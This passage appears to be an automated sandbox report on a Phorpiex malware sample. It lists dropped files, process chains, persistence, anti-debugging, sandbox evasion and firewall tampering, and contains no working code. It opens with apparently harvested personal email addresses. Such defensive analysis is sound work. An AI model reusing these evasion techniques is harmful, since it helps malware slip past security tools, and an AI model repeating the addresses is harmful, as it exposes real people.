arma@gmail.comsania.crespo@sumterschools.orgjazminabellanazar@gmail.comjmacicova@gmail.comrebecaleon34@hotmail

Jump to dropped file

Source: gEkl9O5tiu.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe

File created: C:\Windows\ sysesvcmw.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_00406610	4_2_00406610
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_00406639	4_2_00406639
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_0040ECE8	4_2_0040ECE8
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_00403480	4_2_00403480
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_00402E90	4_2_00402E90
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_00408FA0	4_2_00408FA0
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_00406610	5_2_00406610
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_00406639	5_2_00406639
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_0040ECE8	5_2_0040ECE8
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_00403480	5_2_00403480
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_00402E90	5_2_00402E90
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_00408FA0	5_2_00408FA0
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_00406610	6_2_00406610
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_00406639	6_2_00406639
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_0040ECE8	6_2_0040ECE8
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_00403480	6_2_00403480
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_00402E90	6_2_00402E90
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_00408FA0	6_2_00408FA0

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_0040BE60 NtQuerySystemTime,RtlTimeToSecondsSince1980,	4_2_0040BE60
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_0040EF2D NtQueryVirtualMemory,	4_2_0040EF2D
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_0040BE60 NtQuerySystemTime,RtlTimeToSecondsSince1980,	5_2_0040BE60
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_0040EF2D NtQueryVirtualMemory,	5_2_0040EF2D
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_0040BE60 NtQuerySystemTime,RtlTimeToSecondsSince1980,	6_2_0040BE60
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_0040EF2D NtQueryVirtualMemory,	6_2_0040EF2D

Source: 2465513676.exe.11.dr	Static PE information: Number of sections : 11 > 10
Source: nxmr[1].exe.11.dr	Static PE information: Number of sections : 11 > 10

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\nxmr[1].exe DD12CB27B3867341BF6CA48715756500D3EC56C19B21BB1C1290806AA74CB493

Source: C:\Users\user\Desktop\gEkl9O5tiu.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\gEkl9O5tiu.exe	Memory allocated: 771D0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Memory allocated: 771D0000 page execute and read and write	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	Memory allocated: 771D0000 page execute and read and write	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	Memory allocated: 771D0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	Memory allocated: 771D0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\150623101.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\150623101.exe	Memory allocated: 771D0000 page execute and read and write	Jump to behavior

Source: gEkl9O5tiu.exe	ReversingLabs: Detection: 47%
Source: gEkl9O5tiu.exe	Virustotal: Detection: 57%

Source: gEkl9O5tiu.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\gEkl9O5tiu.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\gEkl9O5tiu.exe C:\Users\user\Desktop\gEkl9O5tiu.exe
Source: C:\Users\user\Desktop\gEkl9O5tiu.exe	Process created: C:\Users\user\AppData\Local\Temp\2550821914.exe C:\Users\user\AppData\Local\Temp\2550821914.exe
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Process created: C:\Windows\ sysesvcmw.exe C:\Windows\ sysesvcmw.exe
Source: unknown	Process created: C:\Windows\ sysesvcmw.exe "C:\Windows\ sysesvcmw.exe"
Source: C:\Windows\ sysesvcmw.exe	Process created: C:\Users\user\AppData\Local\Temp\1925824589.exe C:\Users\user\AppData\Local\Temp\1925824589.exe
Source: C:\Windows\ sysesvcmw.exe	Process created: C:\Users\user\AppData\Local\Temp\150623101.exe C:\Users\user\AppData\Local\Temp\150623101.exe
Source: C:\Users\user\AppData\Local\Temp\150623101.exe	Process created: C:\Users\user\AppData\Local\Temp\2465513676.exe C:\Users\user\AppData\Local\Temp\2465513676.exe
Source: C:\Users\user\Desktop\gEkl9O5tiu.exe	Process created: C:\Users\user\AppData\Local\Temp\2550821914.exe C:\Users\user\AppData\Local\Temp\2550821914.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Process created: C:\Windows\ sysesvcmw.exe C:\Windows\ sysesvcmw.exe	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	Process created: C:\Users\user\AppData\Local\Temp\1925824589.exe C:\Users\user\AppData\Local\Temp\1925824589.exe	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	Process created: C:\Users\user\AppData\Local\Temp\150623101.exe C:\Users\user\AppData\Local\Temp\150623101.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\150623101.exe	Process created: C:\Users\user\AppData\Local\Temp\2465513676.exe C:\Users\user\AppData\Local\Temp\2465513676.exe	Jump to behavior

Source: C:\Users\user\Desktop\gEkl9O5tiu.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\InProcServer32

Jump to behavior

Source: C:\Windows\ sysesvcmw.exe

File created: C:\Users\user\tbnds.dat

Jump to behavior

Source: C:\Users\user\Desktop\gEkl9O5tiu.exe

File created: C:\Users\user\AppData\Local\Temp\2550821914.exe

Jump to behavior

Source: classification engine

Classification label: mal100.rans.spre.troj.spyw.evad.winEXE@12/15@4697/100

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe

Code function: 4_2_0040C000 SysAllocString,CoCreateInstance,SysFreeString,

4_2_0040C000

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe

Code function: 4_2_004054A0 Sleep,GetModuleFileNameW,GetVolumeInformationW,GetDiskFreeSpaceExW,_aulldiv,wsprintfW,wsprintfW,wsprintfW,Sleep,ExitThread,

4_2_004054A0

Source: C:\Windows\ sysesvcmw.exe	Mutant created: \Sessions\1\BaseNamedObjects\2u9o0b7n
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	Mutant created: \Sessions\1\BaseNamedObjects\759498

Source: C:\Users\user\AppData\Local\Temp\1925824589.exe

Command line argument: 759498

9_2_00EA26A0

Source: C:\Users\user\Desktop\gEkl9O5tiu.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\gEkl9O5tiu.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\150623101.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\150623101.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\gEkl9O5tiu.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_50916076bcb9a742\MSVCR90.dll

Jump to behavior

Source: gEkl9O5tiu.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: gEkl9O5tiu.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: gEkl9O5tiu.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: gEkl9O5tiu.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: gEkl9O5tiu.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: gEkl9O5tiu.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\gEkl9O5tiu.exe	Code function: 1_2_01091A41 push ecx; ret		1_2_01091A54
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	Code function: 9_2_00EA2E31 push ecx; ret		9_2_00EA2E44

Source: nxmr[1].exe.11.dr	Static PE information: section name: .xdata
Source: 2465513676.exe.11.dr	Static PE information: section name: .xdata

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe

Executable created and started: C:\Windows\ sysesvcmw.exe

Jump to behavior

Source: C:\Windows\ sysesvcmw.exe	File created: C:\Users\user\AppData\Local\Temp\1925824589.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\150623101.exe	File created: C:\Users\user\AppData\Local\Temp\2465513676.exe	Jump to dropped file
Source: C:\Windows\ sysesvcmw.exe	File created: C:\Users\user\AppData\Local\Temp\150623101.exe	Jump to dropped file
Source: C:\Users\user\Desktop\gEkl9O5tiu.exe	File created: C:\Users\user\AppData\Local\Temp\2550821914.exe	Jump to dropped file
Source: C:\Users\user\Desktop\gEkl9O5tiu.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\newtpp[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\150623101.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\nxmr[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	File created: C:\Windows\ sysesvcmw.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe

File created: C:\Windows\ sysesvcmw.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\gEkl9O5tiu.exe	File opened: C:\Users\user\AppData\Local\Temp\2550821914.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	File opened: C:\Users\user\AppData\Local\Temp\2550821914.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	File opened: C:\Windows\ sysesvcmw.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	File opened: C:\Users\user\AppData\Local\Temp\1925824589.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	File opened: C:\Users\user\AppData\Local\Temp\150623101.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	File opened: C:\Users\user\AppData\Local\Temp\1925824589.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\150623101.exe	File opened: C:\Users\user\AppData\Local\Temp\2465513676.exe:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Users\user\Desktop\gEkl9O5tiu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gEkl9O5tiu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gEkl9O5tiu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gEkl9O5tiu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\150623101.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\150623101.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\150623101.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep
Source: C:\Windows\ sysesvcmw.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_5-4316
Source: C:\Windows\ sysesvcmw.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_5-4316
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_4-4314
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_4-4314

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_0040B540	4_2_0040B540
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_0040B540	5_2_0040B540
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_0040B540	6_2_0040B540

Source: C:\Users\user\Desktop\gEkl9O5tiu.exe TID: 3016	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe TID: 1160	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe TID: 2236	Thread sleep time: -1800000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe TID: 2060	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe TID: 2060	Thread sleep time: -7344000000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe TID: 1376	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe TID: 2060	Thread sleep time: -216000000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\150623101.exe TID: 9288	Thread sleep time: -180000s >= -30000s	Jump to behavior

Source: C:\Windows\ sysesvcmw.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\2465513676.exe	Last function: Thread delayed

Source: C:\Windows\ sysesvcmw.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	Thread delayed: delay time: 216000000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	Thread delayed: delay time: 216000000	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Evaded block: after key decision	graph_4-4371
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Evaded block: after key decision	graph_4-4318
Source: C:\Windows\ sysesvcmw.exe	Evaded block: after key decision	graph_6-4313

Source: C:\Windows\ sysesvcmw.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_5-4324
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_4-5197
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_4-4321
Source: C:\Windows\ sysesvcmw.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_5-5665

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	API coverage: 3.8 %
Source: C:\Windows\ sysesvcmw.exe	API coverage: 1.3 %

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_0040B540		4_2_0040B540
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_0040B540		6_2_0040B540

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe

Code function: 4_2_0040EB00 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,

4_2_0040EB00

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_00404E80 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	4_2_00404E80
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_00404FC0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	4_2_00404FC0
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_00404E80 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	5_2_00404E80
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_00404FC0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	5_2_00404FC0
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_00404E80 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	6_2_00404E80
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_00404FC0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	6_2_00404FC0

Source: C:\Windows\ sysesvcmw.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	Thread delayed: delay time: 216000000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	Thread delayed: delay time: 216000000	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	API call chain: ExitProcess graph end node	graph_4-4317
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	API call chain: ExitProcess graph end node	graph_4-4327
Source: C:\Windows\ sysesvcmw.exe	API call chain: ExitProcess graph end node	graph_5-4348
Source: C:\Windows\ sysesvcmw.exe	API call chain: ExitProcess graph end node	graph_5-4319
Source: C:\Windows\ sysesvcmw.exe	API call chain: ExitProcess graph end node	graph_5-4330
Source: C:\Windows\ sysesvcmw.exe	API call chain: ExitProcess graph end node	graph_6-4346
Source: C:\Windows\ sysesvcmw.exe	API call chain: ExitProcess graph end node	graph_6-4327
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\gEkl9O5tiu.exe

Code function: 1_2_01091B78 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,

1_2_01091B78

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe

Code function: 4_2_00408930 GetProcessHeaps,

4_2_00408930

Source: C:\Users\user\Desktop\gEkl9O5tiu.exe	Code function: 1_2_01091B78 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,		1_2_01091B78
Source: C:\Users\user\AppData\Local\Temp\1925824589.exe	Code function: 9_2_00EA2F68 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,		9_2_00EA2F68

Source: C:\Windows\ sysesvcmw.exe

File opened: Windows Firewall: C:\Windows\SysWOW64\FirewallAPI.dll

Jump to behavior

Source: C:\Users\user\Desktop\gEkl9O5tiu.exe	Process created: C:\Users\user\AppData\Local\Temp\2550821914.exe C:\Users\user\AppData\Local\Temp\2550821914.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Process created: C:\Windows\ sysesvcmw.exe C:\Windows\ sysesvcmw.exe	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	Process created: C:\Users\user\AppData\Local\Temp\1925824589.exe C:\Users\user\AppData\Local\Temp\1925824589.exe	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	Process created: C:\Users\user\AppData\Local\Temp\150623101.exe C:\Users\user\AppData\Local\Temp\150623101.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\150623101.exe	Process created: C:\Users\user\AppData\Local\Temp\2465513676.exe C:\Users\user\AppData\Local\Temp\2465513676.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: GetLocaleInfoA,	4_2_0040D0F0
Source: C:\Windows\ sysesvcmw.exe	Code function: GetLocaleInfoA,	5_2_0040D0F0
Source: C:\Windows\ sysesvcmw.exe	Code function: GetLocaleInfoA,	6_2_0040D0F0

Source: C:\Users\user\Desktop\gEkl9O5tiu.exe

Code function: 1_2_01091AA8 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

1_2_01091AA8

Source: C:\Users\user\AppData\Local\Temp\1925824589.exe

Code function: 9_2_00EA1490 GetLocalTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeZoneInformation,wsprintfA,wsprintfA,

9_2_00EA1490

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\ sysesvcmw.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center FirewallOverride

Jump to behavior

Remote Access Functionality

Yara detected Phorpiex

Source: Yara match	File source: 4.0.2550821914.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.2550821914.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.399820477.0000000000410000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.379469431.0000000000410000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.370252775.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.381787142.00000000004D3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2550821914.exe PID: 680, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysesvcmw.exe PID: 1384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysesvcmw.exe PID: 1840, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\2550821914.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\ sysesvcmw.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\newtpp[1].exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_0040D8A0 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	4_2_0040D8A0
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_0040DD70 CreateEventA,socket,bind,CreateThread,	4_2_0040DD70
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_0040EB00 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	4_2_0040EB00
Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_0040C580 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	4_2_0040C580
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_0040D8A0 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	5_2_0040D8A0
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_0040DD70 CreateEventA,socket,bind,CreateThread,	5_2_0040DD70
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_0040EB00 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	5_2_0040EB00
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_0040C580 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	5_2_0040C580
